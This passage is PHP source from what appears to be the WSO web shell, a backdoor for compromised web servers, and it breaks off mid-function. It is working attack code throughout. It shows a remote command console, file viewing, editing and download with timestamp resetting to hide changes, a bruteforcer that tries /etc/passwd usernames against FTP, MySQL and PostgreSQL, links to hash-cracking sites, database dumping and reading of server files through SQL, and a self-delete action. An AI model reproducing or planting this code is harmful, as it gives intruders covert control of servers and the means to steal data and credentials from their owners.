                                                    $tmp = array('name' => $dirContent[$i], 'path' => $GLOBALS['cwd'] . $dirContent[$i], 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])), 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]), 'size' => @filesize($GLOBALS['cwd'] . $dirContent[$i]), 'owner' => $ow['name'] ? $ow['name'] : @fileowner($dirContent[$i]), 'group' => $gr['name'] ? $gr['name'] : @filegroup($dirContent[$i]));
                                                    if (@is_file($GLOBALS['cwd'] . $dirContent[$i])) $files[] = array_merge($tmp, array('type' => 'file'));
                                                    elseif (@is_link($GLOBALS['cwd'] . $dirContent[$i])) $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
                                                    elseif (@is_dir($GLOBALS['cwd'] . $dirContent[$i])) $dirs[] = array_merge($tmp, array('type' => 'dir'));
                                                }
                                                $GLOBALS['sort'] = $sort;
                                                function wsoCmp($a, $b) {
                                                    if ($GLOBALS['sort'][0] != 'size') return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]])) * ($GLOBALS['sort'][1] ? 1 : -1);
                                                    else return (($a['size'] < $b['size']) ? -1 : 1) * ($GLOBALS['sort'][1] ? 1 : -1);
                                                }
                                                usort($files, "wsoCmp");
                                                usort($dirs, "wsoCmp");
                                                $files = array_merge($dirs, $files);
                                                $l = 0;
                                                foreach ($files as $f) {
                                                    echo '<tr' . ($l ? ' class=l1' : '') . '><td><input type=checkbox name="f[]" value="' . urlencode($f['name']) . '" class=chkbx></td><td><a href=# onClick="' . (($f['type'] == 'file') ? 'g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'view\')">' . htmlspecialchars($f['name']) : 'g(\'fs007\',\'' . $f['path'] . '\');" ' . (empty($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>') . '</a></td><td>' . (($f['type'] == 'file') ? wsoViewSize($f['size']) : $f['type']) . '</td><td>' . $f['modify'] . '</td><td>' . $f['owner'] . '/' . $f['group'] . '</td><td><a href=# onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\',\'chmod\')">' . $f['perms'] . '</td><td><a href="#" onClick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'rename\')">R</a> <a href="#" onClick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'touch\')">T</a>' . (($f['type'] == 'file') ? ' <a href="#" onClick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'edit\')">E</a> <a href="#" onClick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'download\')">D</a>' : '') . '</td></tr>';
                                                    $l = $l ? 0 : 1;
                                                }
                                                echo "<tr><td colspan=7>
	<input type=hidden name=a value='fs007'>
	<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'>
	<input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
	<select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
                                                if (class_exists('ZipArchive')) echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
                                                echo "<option value='tar'>Compress (tar.gz)</option>";
                                                if (!empty($_COOKIE['act']) && @count($_COOKIE['f'])) echo "<option value='paste'>Paste / Compress</option>";
                                                echo "</select>&nbsp;";
                                                if (!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar'))) echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip' ? 'zip' : 'tar.gz') . "'>&nbsp;";
                                                echo "<input type='submit' value='>>'></td></tr></form></table></div>";
                                                wsoFooter();
                                            }
                                            function actionStringTools() {
                                                if (!function_exists('hex2bin')) {
                                                    function hex2bin($p) {
                                                        return decbin(hexdec($p));
                                                    }
                                                }
                                                if (!function_exists('binhex')) {
                                                    function binhex($p) {
                                                        return dechex(bindec($p));
                                                    }
                                                }
                                                if (!function_exists('hex2ascii')) {
                                                    function hex2ascii($p) {
                                                        $r = '';
                                                        for ($i = 0;$i < strLen($p);$i+= 2) {
                                                            $r.= chr(hexdec($p[$i] . $p[$i + 1]));
                                                        }
                                                        return $r;
                                                    }
                                                }
                                                if (!function_exists('ascii2hex')) {
                                                    function ascii2hex($p) {
                                                        $r = '';
                                                        for ($i = 0;$i < strlen($p);++$i) $r.= sprintf('%02X', ord($p[$i]));
                                                        return strtoupper($r);
                                                    }
                                                }
                                                if (!function_exists('full_urlencode')) {
                                                    function full_urlencode($p) {
                                                        $r = '';
                                                        for ($i = 0;$i < strlen($p);++$i) $r.= '%' . dechex(ord($p[$i]));
                                                        return strtoupper($r);
                                                    }
                                                }
                                                $stringTools = array('Base64 encode' => 'base64_encode', 'Base64 decode' => 'base64_decode', 'Url encode' => 'urlencode', 'Url decode' => 'urldecode', 'Full urlencode' => 'full_urlencode', 'md5 hash' => 'md5', 'sha1 hash' => 'sha1', 'crypt' => 'crypt', 'CRC32' => 'crc32', 'ASCII to HEX' => 'ascii2hex', 'HEX to ASCII' => 'hex2ascii', 'HEX to DEC' => 'hexdec', 'HEX to BIN' => 'hex2bin', 'DEC to HEX' => 'dechex', 'DEC to BIN' => 'decbin', 'BIN to HEX' => 'binhex', 'BIN to DEC' => 'bindec', 'String to lower case' => 'strtolower', 'String to upper case' => 'strtoupper', 'Htmlspecialchars' => 'htmlspecialchars', 'String length' => 'strlen',);
                                                if (isset($_POST['ajax'])) {
                                                    WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
                                                    ob_start();
                                                    if (in_array($_POST['p1'], $stringTools)) echo $_POST['p1']($_POST['p2']);
                                                    $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "

	\'") . "';
";
                                                    echo strlen($temp), "
", $temp;
                                                    exit;
                                                }
                                                if (empty($_POST['ajax']) && !empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
                                                wsoHeader();
                                                echo '<h1>String conversions</h1><div class=content>';
                                                echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
                                                foreach ($stringTools as $k => $v) echo "<option value='" . htmlspecialchars($v) . "'>" . $k . "</option>";
                                                echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 " . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . "> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>" . (empty($_POST['p1']) ? '' : htmlspecialchars(@$_POST['p2'])) . "</textarea></form><pre class='ml1' style='" . (empty($_POST['p1']) ? 'display:none;' : '') . "margin-top:5px' id='strOutput'>";
                                                if (!empty($_POST['p1'])) {
                                                    if (in_array($_POST['p1'], $stringTools)) echo htmlspecialchars($_POST['p1']($_POST['p2']));
                                                }
                                                echo "</pre></div><br><h1>Search files:</h1><div class=content>
		<form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
			<tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
			<tr><td>Path:</td><td><input type='text' name='cwd' value='" . htmlspecialchars($GLOBALS['cwd']) . "' style='width:100%'></td></tr>
			<tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
			<tr><td></td><td><input type='submit' value='>>'></td></tr>
			</table></form>";
                                                function wsoRecursiveGlob($path) {
                                                    if (substr($path, -1) != '/') $path.= '/';
                                                    $paths = @array_unique(@array_merge(@glob($path . $_POST['p3']), @glob($path . '*', GLOB_ONLYDIR)));
                                                    if (is_array($paths) && @count($paths)) {
                                                        foreach ($paths as $item) {
                                                            if (@is_dir($item)) {
                                                                if ($path != $item) wsoRecursiveGlob($item);
                                                            } else {
                                                                if (empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2']) !== false) echo "<a href='#' onclick='g(\"FilesTools\",null,\"" . urlencode($item) . "\", \"view\",\"\")'>" . htmlspecialchars($item) . "</a><br>";
                                                            }
                                                        }
                                                    }
                                                }
                                                if (@$_POST['p3']) wsoRecursiveGlob($_POST['c']);
                                                echo "</div><br><h1>Search for hash:</h1><div class=content>
		<form method='post' target='_blank' name='hf'>
			<input type='text' name='hash' style='width:200px;'><br>
            <input type='hidden' name='act' value='find'/>
			<input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
			<input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
            <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
		</form></div>";
                                                wsoFooter();
                                            }
                                            function actionFilesTools() {
                                                if (isset($_POST['p1'])) $_POST['p1'] = urldecode($_POST['p1']);
                                                if (@$_POST['p2'] == 'download') {
                                                    if (@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
                                                        ob_start("ob_gzhandler", 4096);
                                                        header("Content-Disposition: attachment; filename=" . basename($_POST['p1']));
                                                        if (function_exists("mime_content_type")) {
                                                            $type = @mime_content_type($_POST['p1']);
                                                            header("Content-Type: " . $type);
                                                        } else header("Content-Type: application/octet-stream");
                                                        $fp = @fopen($_POST['p1'], "r");
                                                        if ($fp) {
                                                            while ([email protected]($fp)) echo @fread($fp, 1024);
                                                            fclose($fp);
                                                        }
                                                    }
                                                    exit;
                                                }
                                                if (@$_POST['p2'] == 'mkfile') {
                                                    if (!file_exists($_POST['p1'])) {
                                                        $fp = @fopen($_POST['p1'], 'w');
                                                        if ($fp) {
                                                            $_POST['p2'] = "edit";
                                                            fclose($fp);
                                                        }
                                                    }
                                                }
                                                wsoHeader();
                                                echo '<h1>File tools</h1><div class=content>';
                                                if (!file_exists(@$_POST['p1'])) {
                                                    echo 'File not exists';
                                                    wsoFooter();
                                                    return;
                                                }
                                                $uid = @posix_getpwuid(@fileowner($_POST['p1']));
                                                if (!$uid) {
                                                    $uid['name'] = @fileowner($_POST['p1']);
                                                    $gid['name'] = @filegroup($_POST['p1']);
                                                } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
                                                echo '<span>Name:</span> ' . htmlspecialchars(@basename($_POST['p1'])) . ' <span>Size:</span> ' . (is_file($_POST['p1']) ? wsoViewSize(filesize($_POST['p1'])) : '-') . ' <span>Permission:</span> ' . wsoPermsColor($_POST['p1']) . ' <span>Owner/Group:</span> ' . $uid['name'] . '/' . $gid['name'] . '<br>';
                                                echo '<span>Change time:</span> ' . date('Y-m-d H:i:s', filectime($_POST['p1'])) . ' <span>Access time:</span> ' . date('Y-m-d H:i:s', fileatime($_POST['p1'])) . ' <span>Modify time:</span> ' . date('Y-m-d H:i:s', filemtime($_POST['p1'])) . '<br><br>';
                                                if (empty($_POST['p2'])) $_POST['p2'] = 'view';
                                                if (is_file($_POST['p1'])) $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
                                                else $m = array('Chmod', 'Rename', 'Touch');
                                                foreach ($m as $v) echo '<a href=# onClick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\'' . strtolower($v) . '\')">' . ((strtolower($v) == @$_POST['p2']) ? '<b>[ ' . $v . ' ]</b>' : $v) . '</a> ';
                                                echo '<br><br>';
                                                switch ($_POST['p2']) {
                                                    case 'view':
                                                        echo '<pre class=ml1>';
                                                        $fp = @fopen($_POST['p1'], 'r');
                                                        if ($fp) {
                                                            while ([email protected]($fp)) echo htmlspecialchars(@fread($fp, 1024));
                                                            @fclose($fp);
                                                        }
                                                        echo '</pre>';
                                                        break;
                                                    case 'highlight':
                                                        if (@is_readable($_POST['p1'])) {
                                                            echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
                                                            $code = @highlight_file($_POST['p1'], true);
                                                            echo str_replace(array('<span ', '</span>'), array('<font ', '</font>'), $code) . '</div>';
                                                        }
                                                        break;
                                                    case 'chmod':
                                                        if (!empty($_POST['p3'])) {
                                                            $perms = 0;
                                                            for ($i = strlen($_POST['p3']) - 1;$i >= 0;--$i) $perms+= (int)$_POST['p3'][$i] * pow(8, (strlen($_POST['p3']) - $i - 1));
                                                            if ([email protected]($_POST['p1'], $perms)) echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
                                                        }
                                                        clearstatcache();
                                                        echo '<script>p3_="";</script><form onSubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="' . substr(sprintf('%o', fileperms($_POST['p1'])), -4) . '"><input type=submit value=">>"></form>';
                                                        break;
                                                    case 'edit':
                                                        if (!is_writable($_POST['p1'])) {
                                                            echo 'File isn\'t writeable';
                                                            break;
                                                        }
                                                        if (!empty($_POST['p3'])) {
                                                            $time = @filemtime($_POST['p1']);
                                                            $_POST['p3'] = substr($_POST['p3'], 1);
                                                            $fp = @fopen($_POST['p1'], "w");
                                                            if ($fp) {
                                                                @fwrite($fp, $_POST['p3']);
                                                                @fclose($fp);
                                                                echo 'Saved!<br><script>p3_="";</script>';
                                                                @touch($_POST['p1'], $time, $time);
                                                            }
                                                        }
                                                        echo '<form onSubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
                                                        $fp = @fopen($_POST['p1'], 'r');
                                                        if ($fp) {
                                                            while ([email protected]($fp)) echo htmlspecialchars(@fread($fp, 1024));
                                                            @fclose($fp);
                                                        }
                                                        echo '</textarea><input type=submit value=">>"></form>';
                                                        break;
                                                    case 'hexdump':
                                                        $c = @file_get_contents($_POST['p1']);
                                                        $n = 0;
                                                        $h = array('00000000<br>', '', '');
                                                        $len = strlen($c);
                                                        for ($i = 0;$i < $len;++$i) {
                                                            $h[1].= sprintf('%02X', ord($c[$i])) . ' ';
                                                            switch (ord($c[$i])) {
                                                                case 0:
                                                                    $h[2].= ' ';
                                                                break;
                                                                case 9:
                                                                    $h[2].= ' ';
                                                                break;
                                                                case 10:
                                                                    $h[2].= ' ';
                                                                break;
                                                                case 13:
                                                                    $h[2].= ' ';
                                                                break;
                                                                default:
                                                                    $h[2].= $c[$i];
                                                                break;
                                                            }
                                                            $n++;
                                                            if ($n == 32) {
                                                                $n = 0;
                                                                if ($i + 1 < $len) {
                                                                    $h[0].= sprintf('%08X', $i + 1) . '<br>';
                                                                }
                                                                $h[1].= '<br>';
                                                                $h[2].= "
";
                                                            }
                                                        }
                                                        echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>' . $h[0] . '</pre></span></td><td bgcolor=#282828><pre>' . $h[1] . '</pre></td><td bgcolor=#333333><pre>' . htmlspecialchars($h[2]) . '</pre></td></tr></table>';
                                                        break;
                                                    case 'rename':
                                                        if (!empty($_POST['p3'])) {
                                                            if ([email protected]($_POST['p1'], $_POST['p3'])) echo 'Can\'t rename!<br>';
                                                            else die('<script>g(null,null,"' . urlencode($_POST['p3']) . '",null,"")</script>');
                                                        }
                                                        echo '<form onSubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="' . htmlspecialchars($_POST['p1']) . '"><input type=submit value=">>"></form>';
                                                        break;
                                                    case 'touch':
                                                        if (!empty($_POST['p3'])) {
                                                            $time = strtotime($_POST['p3']);
                                                            if ($time) {
                                                                if (!touch($_POST['p1'], $time, $time)) echo 'Fail!';
                                                                else echo 'Touched!';
                                                            } else echo 'Bad time format!';
                                                        }
                                                        clearstatcache();
                                                        echo '<script>p3_="";</script><form onSubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="' . date("Y-m-d H:i:s", @filemtime($_POST['p1'])) . '"><input type=submit value=">>"></form>';
                                                        break;
                                                    }
                                                    echo '</div>';
                                                    wsoFooter();
                                                }
                                                function actionConsole() {
                                                    if (!empty($_POST['p1']) && !empty($_POST['p2'])) {
                                                        WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', true);
                                                        $_POST['p1'].= ' 2>&1';
                                                    } elseif (!empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', 0);
                                                    if (isset($_POST['ajax'])) {
                                                        WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
                                                        ob_start();
                                                        echo "d.cf.cmd.value='';
";
                                                        $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("
$ " . $_POST['p1'] . "
" . wsoEx($_POST['p1']), "

	\'"));
                                                        if (preg_match("!.*cd\s+([^;]+)$!", $_POST['p1'], $match)) {
                                                            if (@chdir($match[1])) {
                                                                $GLOBALS['cwd'] = @getcwd();
                                                                echo "c_='" . $GLOBALS['cwd'] . "';";
                                                            }
                                                        }
                                                        echo "d.cf.output.value+='" . $temp . "';";
                                                        echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
                                                        $temp = ob_get_clean();
                                                        echo strlen($temp), "
", $temp;
                                                        exit;
                                                    }
                                                    if (empty($_POST['ajax']) && !empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
                                                    wsoHeader();
                                                    echo "<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array('');
var cur = 0;
function kp(e) {
	var n = (window.Event) ? e.which : e.keyCode;
	if(n == 38) {
		cur--;
		if(cur>=0)
			document.cf.cmd.value = cmds[cur];
		else
			cur++;
	} else if(n == 40) {
		cur++;
		if(cur < cmds.length)
			document.cf.cmd.value = cmds[cur];
		else
			cur--;
	}
}
function add(cmd) {
	cmds.pop();
	cmds.push(cmd);
	cmds.push('');
	cur = cmds.length-1;
}
</script>";
                                                    echo '<h1>Console</h1><div class=content><form name=cf onSubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
                                                    foreach ($GLOBALS['aliases'] as $n => $v) {
                                                        if ($v == '') {
                                                            echo '<optgroup label="-' . htmlspecialchars($n) . '-"></optgroup>';
                                                            continue;
                                                        }
                                                        echo '<option value="' . htmlspecialchars($v) . '">' . $n . '</option>';
                                                    }
                                                    echo '</select><input type=button onClick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 ' . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX <input type=checkbox name=show_errors value=1 ' . (!empty($_POST['p2']) || $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] ? 'checked' : '') . '> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
                                                    if (!empty($_POST['p1'])) {
                                                        echo htmlspecialchars("$ " . $_POST['p1'] . "
" . wsoEx($_POST['p1']));
                                                    }
                                                    echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onKeyDown="kp(event);"></td></tr></table>';
                                                    echo '</form></div><script>d.cf.cmd.focus();</script>';
                                                    wsoFooter();
                                                }
                                                function actionLogout() {
                                                    setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
                                                    die('bye!');
                                                }
                                                function actionSelfRemove() {
                                                    if ($_POST['p1'] == 'yes') if (@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__))) die('Shell has been removed');
                                                    else echo 'unlink error!';
                                                    if ($_POST['p1'] != 'yes') wsoHeader();
                                                    echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onClick="g(null,null,\'yes\')">Yes</a></div>';
                                                    wsoFooter();
                                                }
                                                function actionBruteforce() {
                                                    wsoHeader();
                                                    if (isset($_POST['proto'])) {
                                                        echo '<h1>Results</h1><div class=content><span>Type:</span> ' . htmlspecialchars($_POST['proto']) . ' <span>Server:</span> ' . htmlspecialchars($_POST['server']) . '<br>';
                                                        if ($_POST['proto'] == 'ftp') {
                                                            function wsoBruteForce($ip, $port, $login, $pass) {
                                                                $fp = @ftp_connect($ip, $port ? $port : 21);
                                                                if (!$fp) return false;
                                                                $res = @ftp_login($fp, $login, $pass);
                                                                @ftp_close($fp);
                                                                return $res;
                                                            }
                                                        } elseif ($_POST['proto'] == 'mysql') {
                                                            function wsoBruteForce($ip, $port, $login, $pass) {
                                                                $res = @mysql_connect($ip . ':' . ($port ? $port : 3306), $login, $pass);
                                                                @mysql_close($res);
                                                                return $res;
                                                            }
                                                        } elseif ($_POST['proto'] == 'pgsql') {
                                                            function wsoBruteForce($ip, $port, $login, $pass) {
                                                                $str = "host='" . $ip . "' port='" . $port . "' user='" . $login . "' password='" . $pass . "' dbname=postgres";
                                                                $res = @pg_connect($str);
                                                                @pg_close($res);
                                                                return $res;
                                                            }
                                                        }
                                                        $success = 0;
                                                        $attempts = 0;
                                                        $server = explode(":", $_POST['server']);
                                                        if ($_POST['type'] == 1) {
                                                            $temp = @file('/etc/passwd');
                                                            if (is_array($temp)) foreach ($temp as $line) {
                                                                $line = explode(":", $line);
                                                                ++$attempts;
                                                                if (wsoBruteForce(@$server[0], @$server[1], $line[0], $line[0])) {
                                                                    $success++;
                                                                    echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($line[0]) . '<br>';
                                                                }
                                                                if (@$_POST['reverse']) {
                                                                    $tmp = "";
                                                                    for ($i = strlen($line[0]) - 1;$i >= 0;--$i) $tmp.= $line[0][$i];
                                                                    ++$attempts;
                                                                    if (wsoBruteForce(@$server[0], @$server[1], $line[0], $tmp)) {
                                                                        $success++;
                                                                        echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($tmp);
                                                                    }
                                                                }
                                                            }
                                                        } elseif ($_POST['type'] == 2) {
                                                            $temp = @file($_POST['dict']);
                                                            if (is_array($temp)) foreach ($temp as $line) {
                                                                $line = trim($line);
                                                                ++$attempts;
                                                                if (wsoBruteForce($server[0], @$server[1], $_POST['login'], $line)) {
                                                                    $success++;
                                                                    echo '<b>' . htmlspecialchars($_POST['login']) . '</b>:' . htmlspecialchars($line) . '<br>';
                                                                }
                                                            }
                                                        }
                                                        echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
                                                    }
                                                    echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>' . '<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>' . '<input type=hidden name=c value="' . htmlspecialchars($GLOBALS['cwd']) . '">' . '<input type=hidden name=a value="' . htmlspecialchars($_POST['a']) . '">' . '<input type=hidden name=charset value="' . htmlspecialchars($_POST['charset']) . '">' . '<span>Server:port</span></td>' . '<td><input type=text name=server value="127.0.0.1"></td></tr>' . '<tr><td><span>Brute type</span></td>' . '<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>' . '<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>' . '<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>' . '<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>' . '<td><input type=text name=login value="root"></td></tr>' . '<tr><td><span>Dictionary</span></td>' . '<td><input type=text name=dict value="' . htmlspecialchars($GLOBALS['cwd']) . 'passwd.dic"></td></tr></table>' . '</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
                                                    echo '</div><br>';
                                                    wsoFooter();
                                                }
                                                function actionSql() {
                                                    class DbClass {
                                                        var $type;
                                                        var $link;
                                                        var $res;
                                                        function DbClass($type) {
                                                            $this->type = $type;
                                                        }
                                                        function connect($host, $user, $pass, $dbname) {
                                                            switch ($this->type) {
                                                                case 'mysql':
                                                                    if ($this->link = @mysql_connect($host, $user, $pass, true)) return true;
                                                                    break;
                                                                case 'pgsql':
                                                                    $host = explode(':', $host);
                                                                    if (!$host[1]) $host[1] = 5432;
                                                                    if ($this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname")) return true;
                                                                    break;
                                                                }
                                                                return false;
                                                            }
                                                            function selectdb($db) {
                                                                switch ($this->type) {
                                                                    case 'mysql':
                                                                        if (@mysql_select_db($db)) return true;
                                                                        break;
                                                                    }
                                                                    return false;
                                                            }
                                                            function query($str) {
                                                                switch ($this->type) {
                                                                    case 'mysql':
                                                                        return $this->res = @mysql_query($str);
                                                                    break;
                                                                    case 'pgsql':
                                                                        return $this->res = @pg_query($this->link, $str);
                                                                    break;
                                                                }
                                                                return false;
                                                            }
                                                            function fetch() {
                                                                $res = func_num_args() ? func_get_arg(0) : $this->res;
                                                                switch ($this->type) {
                                                                    case 'mysql':
                                                                        return @mysql_fetch_assoc($res);
                                                                    break;
                                                                    case 'pgsql':
                                                                        return @pg_fetch_assoc($res);
                                                                    break;
                                                                }
                                                                return false;
                                                            }
                                                            function listDbs() {
                                                                switch ($this->type) {
                                                                    case 'mysql':
                                                                        return $this->query("SHOW databases");
                                                                    break;
                                                                    case 'pgsql':
                                                                        return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
                                                                    break;
                                                                }
                                                                return false;
                                                            }
                                                            function listTables() {
                                                                switch ($this->type) {
                                                                    case 'mysql':
                                                                        return $this->res = $this->query('SHOW TABLES');
                                                                    break;
                                                                    case 'pgsql':
                                                                        return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
                                                                    break;
                                                                }
                                                                return false;
                                                            }
                                                            function error() {
                                                                switch ($this->type) {
                                                                    case 'mysql':
                                                                        return @mysql_error();
                                                                    break;
                                                                    case 'pgsql':
                                                                        return @pg_last_error();
                                                                    break;
                                                                }
                                                                return false;
                                                            }
                                                            function setCharset($str) {
                                                                switch ($this->type) {
                                                                    case 'mysql':
                                                                        if (function_exists('mysql_set_charset')) return @mysql_set_charset($str, $this->link);
                                                                        else $this->query('SET CHARSET ' . $str);
                                                                        break;
                                                                    case 'pgsql':
                                                                        return @pg_set_client_encoding($this->link, $str);
                                                                        break;
                                                                    }
                                                                    return false;
                                                                }
                                                                function loadFile($str) {
                                                                    switch ($this->type) {
                                                                        case 'mysql':
                                                                            return $this->fetch($this->query("SELECT LOAD_FILE('" . addslashes($str) . "') as file"));
                                                                        break;
                                                                        case 'pgsql':
                                                                            $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '" . addslashes($str) . "';select file from wso2;");
                                                                            $r = array();
                                                                            while ($i = $this->fetch()) $r[] = $i['file'];
                                                                            $this->query('drop table wso2');
                                                                            return array('file' => implode("
", $r));
                                                                            break;
                                                                        }
                                                                        return false;
                                                                }
                                                                function dump($table, $fp = false) {
                                                                    switch ($this->type) {
                                                                        case 'mysql':
                                                                            $res = $this->query('SHOW CREATE TABLE `' . $table . '`');
                                                                            $create = mysql_fetch_array($res);
                                                                            $sql = $create[1] . ";
";
                                                                            if ($fp) fwrite($fp, $sql);
                                                                            else echo ($sql);
                                                                            $this->query('SELECT * FROM `' . $table . '`');
                                                                            $i = 0;
                                                                            $head = true;
                                                                            while ($item = $this->fetch()) {
                                                                                $sql = '';
                                                                                if ($i % 1000 == 0) {
                                                                                    $head = true;
                                                                                    $sql = ";

";
                                                                                }
                                                                                $columns = array();
                                                                                foreach ($item as $k => $v) {
                                                                                    if ($v === null) $item[$k] = "NULL";
                                                                                    elseif (is_int($v)) $item[$k] = $v;
                                                                                    else $item[$k] = "'" . @mysql_real_escape_string($v) . "'";
                                                                                    $columns[] = "`" . $k . "`";
                                                                                }
                                                                                if ($head) {
                                                                                    $sql.= 'INSERT INTO `' . $table . '` (' . implode(", ", $columns) . ") VALUES 
	(" . implode(", ", $item) . ')';
                                                                                    $head = false;
                                                                                } else $sql.= "
	,(" . implode(", ", $item) . ')';
                                                                                if ($fp) fwrite($fp, $sql);
                                                                                else echo ($sql);
                                                                                $i++;
                                                                            }
                                                                            if (!$head) if ($fp) fwrite($fp, ";

");
                                                                            else echo (";

");
                                                                            break;
                                                                        case 'pgsql':
                                                                            $this->query('SELECT * FROM ' . $table);
                                                                            while ($item = $this->fetch()) {
                                                                                $columns = array();
                                                                                foreach ($item as $k => $v) {
                                                                                    $item[$k] = "'" . addslashes($v) . "'";
                                                                                    $columns[] = $k;
                                                                                }
                                                                                $sql = 'INSERT INTO ' . $table . ' (' . implode(", ", $columns) . ') VALUES (' . implode(", ", $item) . ');' . "
";
                                                                                if ($fp) fwrite($fp, $sql);
                                                                                else echo ($sql);
                                                                            }
                                                                            break;
                                                                        }
                                                                        return false;
                                                                    }
                                                                };
                                                                $db = new DbClass($_POST['type']);
                                                                if ((@$_POST['p2'] == 'download') && (@$_POST['p1'] != 'select')) {
